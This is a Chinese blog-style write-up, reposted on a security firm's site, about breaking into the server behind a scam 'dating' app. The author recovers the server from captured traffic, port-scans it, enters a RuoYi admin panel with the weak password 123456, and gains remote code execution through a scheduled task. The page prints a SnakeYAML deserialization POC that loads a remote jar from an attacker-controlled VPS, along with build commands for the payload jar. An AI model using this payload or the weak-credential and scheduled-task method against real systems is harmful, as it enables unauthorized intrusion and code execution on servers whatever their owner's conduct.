记一次招Piao的App漏洞挖掘再到RCE的过程_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

记一次招Piao的App漏洞挖掘再到RCE的过程

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


记一次招Piao的App漏洞挖掘再到RCE的过程

前言每次看到这种信息,血气方刚的年纪哪里受得了这种诱惑,果断下载 我是helen黑客,一刀9999999,点击下载,跟我一起当黑客 下载之后紧接着是系统发的约x信息,和猫片 还得是你,这套系统打过很多套了,基本上拿不下,本来也不抱着希望,走的都是tcp,就赌他有没有其他项目系统 开始抓包 分析发送消息的tcp发包 数据包大小匹配 走的tcp协议 获取ip之后,扫下端口 发现只开了80,扫描接口的时候泄露铭感信息 http://212.x.x.x 这应该是一台接收服务器 端口扫描开启了22和8888 http://212.*.*.*:8888/login?redirect=%2Findex 猜了下账号 总结出两个账号 Supadmin是管理员账号123456应该是运营账号 尝试弱口令 123456-123456进去 不愧是诈骗份子,项目挺多 这一看就是诺依系统,由于对这系统不熟悉,交给大佬去弄,过了半小时, 他给发来一个秘钥 至于怎么拿的我也很好奇,他说没限制权限,可以越权到定时任务 http//*****/***/**到定时任务 先下载 下载payload https://github.com/artsploit/yaml-payload 下载完成之后我们修改一下 AwesomeScriptEngineFactory.java这个文件的内容 改成我们要执行的命令,上面那一行可以删掉 然后编写*.yml没有的话自己创建下 !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]]]] 然后把你要执行的java代码放到AwesomeScriptEngineFactory.java中编译: javac src/artsploit/AwesomeScriptEngineFactory.javajar -cvf yaml-payload.jar -C src/ . 添加任务 添加任务添加POC: POC: org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vps-ip:port/yaml-payload.jar"]]]]') 这里填写 0*/1 * * * * 自定义时间即可 原来都是管理员,只是阉割了页面。。。。 文章来源:HACK学习呀 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END

记一次招Piao的App漏洞挖掘再到RCE的过程